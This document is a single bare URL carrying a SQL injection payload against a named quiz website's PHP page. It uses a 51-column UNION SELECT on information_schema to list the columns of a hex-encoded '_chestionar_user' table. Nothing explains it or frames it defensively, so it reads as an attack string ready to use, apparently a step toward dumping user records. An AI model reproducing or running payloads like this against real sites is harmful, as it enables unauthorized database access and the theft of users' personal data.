http://www.chestionareonline.com/ruleaza_chestionar.php?id_chestionar=-1260548463 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,group_concat(column_name),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51 from information_schema.columns where table_name=0x5f6368657374696f6e61725f75736572--